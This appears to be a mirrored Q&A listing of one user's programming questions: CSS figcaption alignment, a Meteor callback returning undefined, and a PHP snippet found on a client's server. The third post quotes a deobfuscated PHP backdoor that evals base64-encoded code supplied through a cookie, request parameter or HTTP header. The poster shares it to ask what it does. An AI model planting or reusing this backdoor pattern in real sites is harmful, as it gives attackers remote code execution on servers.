小编Tyl*_*ter的帖子

将figcaption与图中的图像底部对齐

<figure>
     <img src="http://lorempixel.com/x/x" alt="figure">
     <figcaption>Nam elementum non massa at mattis.</figcaption>
</figure>
Run Code Online (Sandbox Code Playgroud)

我正在创建一个CSS文件,并希望在图像顶部放置100%宽度和半透明背景颜色的figcaption,但我希望figcaption框的底部和图像的底部始终是无论使用什么图像都一样.

layout html5 css3

4
推荐指数
1
解决办法
1万
查看次数

Meteor.call回调函数返回未定义

我在客户端上有这个代码:

var Checklist = {
            title: this.title,
            belongs_to: this.belongs_to,
            type: this.type,
            items: this.items
        };
        Meteor.call(
            'create_checklist',
            Checklist,
            function(error,result){
                console.log('error',error,'result',result);
                // if(!error) {
                //  Router.go('/checklist/'+response);
                // }
            }
        );
Run Code Online (Sandbox Code Playgroud)

这在服务器上:

create_checklist: function(Checklist) {
        Checklists.insert(
            {
                title: Checklist.title,
                belongs_to: Checklist.belongs_to,
                type: Checklist.type,
                items: Checklist.items
            }, function(error,id){
                console.log(error,id);
                if(id) {
                    return id;
                } else {
                    return error;
                }
            }
        );
    },
Run Code Online (Sandbox Code Playgroud)

在创建核对表时,Meteor.call会将信息成功传递给服务器.我可以在服务器控制台中看到新核对表的ID.但是,客户端只能看到undefined错误和结果.

javascript mongodb node.js meteor

3
推荐指数
1
解决办法
3825
查看次数

这个PHP代码有什么作用?看起来像黑客

我在客户端站点的根目录中找到了此代码.我解密它意味着以下内容:

$brownies = create_function( ' ', eval(array_pop(func_get_args())); );

$brownies('L','9','$','>','','K','H','B','m', $i=array_merge($_REQUEST,$_COOKIE,$_SERVER); $a=isset($i["geccmscu"]) ? $i["geccmscu"] : (isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die ); eval(strrev(base64_decode(strrev($a)))););
Run Code Online (Sandbox Code Playgroud)

看起来它正在从cookie或用户那里获取代码并对其进行评估,但我无法从那里进一步说明.

有人对此有所了解吗?

php security

3
推荐指数
1
解决办法
294
查看次数

标签 统计

css3 ×1

html5 ×1

javascript ×1

layout ×1

meteor ×1

mongodb ×1

node.js ×1

php ×1

security ×1